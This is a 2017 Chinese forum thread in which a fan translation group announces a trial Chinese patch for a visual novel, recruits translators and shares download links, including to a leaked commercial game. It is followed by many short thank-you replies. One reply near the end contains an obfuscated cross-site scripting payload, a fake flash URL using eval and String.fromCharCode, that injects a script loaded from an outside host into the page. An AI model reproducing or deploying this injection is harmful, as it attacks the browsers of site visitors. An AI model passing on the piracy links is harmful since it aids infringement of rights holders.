转载【黙示游戏中文化兴趣小组】糖调！_中文体验版发布+白永FD招翻

折木研 · 发表于 2017-2-3 20:22:11

这里是、传闻有着妖精先生居住的「笛谷（ふえや）镇」。
「妖精之夜」是流传于这个镇上的一段传承，
那是一个当天晚上必定会发生钻石星辰现象的不可思议之夜
妖精之夜，是个会在镇上引起幸福的夜晚。
当地的居民虽然也只是将信将疑，
不过每年也仍然非常期待当晚的到来。
于小镇的郊外，有着一间西式点心屋。
店名是「Folk Roll（フォルクロール）」。
是间十年如一日地提供着美味糕点的老店。
不过最近店面的经营状况陷入了瓶颈。
一直担当糕点师的爷爷因为一次意外、
受伤后住进了医院，且状况不甚良好。
没有糕点的话就无法做生意。
毫无头绪的店员们，于那个奇迹的「妖精之夜」许下了一个愿望，
请妖精先生救救这个小店。
不久，奇迹真的降临到了这个点心屋。
而他、也正是在那个时候于镇里出现。

简介引自【2dfan】 najizhimo 译注
这游戏大概讲的就是制作蛋糕甜品的事情了，游戏剧情我还没来得及了解，翻译菊就已经把体验版完成了，看着这么尽力的份上我半夜赶紧爬起来发开坑贴张罗一声。
用的文本是菊的一口翻好的初翻版，主要还是用来提前宣传用就没有弄的太精细化，可能有错翻的地方大家多多担待。

另外就是favorite公司那个《アストラエアの白き永遠 Finale》放流了
给提供个硬盘版的网盘下载地址，演出强化补丁和1.1更新补丁也已经放好了。
顺便招募会日语的游戏爱好者当下翻译，要求能力考N1水平，但报酬是有的但主要还是兴趣为主。

最后一个游戏就是这个前不久批评空间分值上85的这个人气声优炼成方法。
这个简单打了下感觉也蛮有意思的，但无奈自己日语水平太渣，所以也开始招募下翻译来帮忙一起填坑。
具体我们有多么喜欢游戏的事情就不多吹了，主要还是信仰方面的事情。
直接注明下加群48706569就可以。

度盘：pan.baidu.com/s/1bHkKLC

磁链：magnet:?xt=urn:btih:XPA2WWWWMZX6E6SLNDG5FIRM4FBICOKC

白永fd链接：http://pan.baidu.com/s/1boz755X密码：wjnl

原帖

罗怡玲 · 发表于 2017-2-4 00:01:39

感谢楼主

下来看看先

asd6654 · 发表于 2017-2-4 03:29:24

路过见过不放过

jklop3841 · 发表于 2017-2-4 09:50:15

批评空间分值上85的这个人气声优

咕哒子 · 发表于 2017-2-4 10:34:30

看见白永进来了话说 xmoe不是在汉化么？

tandajun · 发表于 2017-2-4 11:56:14

白色永恒有FD出了！感谢分享1

open1994 · 发表于 2017-2-4 22:22:52

机翻屋还要搞?真行,

1216879440 · 发表于 2017-2-4 22:25:46

感谢分享感谢分享感谢分享感谢分享感谢分享感谢分享

cs0857 · 发表于 2017-2-4 23:09:40

LZ你简直大公无私

624322077 · 发表于 2017-2-5 05:38:35

我就看戏,F的估计xmoe会开坑

Maroon5 · 发表于 2017-2-5 09:12:55

感谢分享感谢分享

291150426 · 发表于 2017-2-5 23:48:04

哈哈哈。谢谢谢谢谢谢我的资源爸爸

bjsswtyx · 发表于 2017-2-6 09:47:02

前排围观，感谢分享

xjqqh · 发表于 2017-2-6 21:53:38

支持一下，有人汉化总归好事╮(╯_╰)╭vv

xsxaszce · 发表于 2017-2-7 17:41:14

最后那个感觉不错呀

阳光小志 · 发表于 2017-2-10 10:46:35

最
后那个感觉不错呀

scdy211418 · 发表于 2017-2-11 11:38:55

继续等雪雪fd好了- -~。。。。其他的都那啥了。。

漫游者 · 发表于 2017-2-15 12:01:30

伸手党纯精神支持

乌云乌云快走开 · 发表于 2017-2-15 23:34:13

畫風一般把看看怎麼樣

barkeley · 发表于 2017-2-16 22:41:31

感谢楼主下来看看先

321mn · 发表于 2017-2-17 21:49:19

感谢楼主下LE 我喜欢

漾星辰 · 发表于 2017-2-20 21:36:22

感謝樓主分享,進來參觀參觀~

5218hqq · 发表于 2017-2-26 21:21:52

感谢分享感谢分享感谢分享感谢分享感谢分享感谢分享

Timor是吗 · 发表于 2017-2-27 21:12:27

太棒了啊！~感谢汉化组的各位同志，新年大吉吧！

yuyu5255 · 发表于 2017-3-10 21:32:39

白色永恒有FD出了！感谢分享了

http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+\'

q448176320 · 发表于 2017-3-15 16:37:36

- -神马尤物，如此凶残

fhc · 发表于 2017-3-28 22:12:02

汉化组的各位辛苦了

多哈哈少呜呜 · 发表于 2017-4-4 16:43:35

感谢分享感谢分享

sbypmsu · 发表于 2017-4-20 09:42:00

纯爱还可以接受的。但人设这么LOLI化就算了。

Saber998 · 发表于 2017-6-5 23:38:44

感谢分享感谢分享感谢分享感谢分享感谢分享感谢分享

[汉化发布] 转载【黙示游戏中文化兴趣小组】糖调！_中文体验版发布+白永FD招翻

本帖子中包含更多资源

评分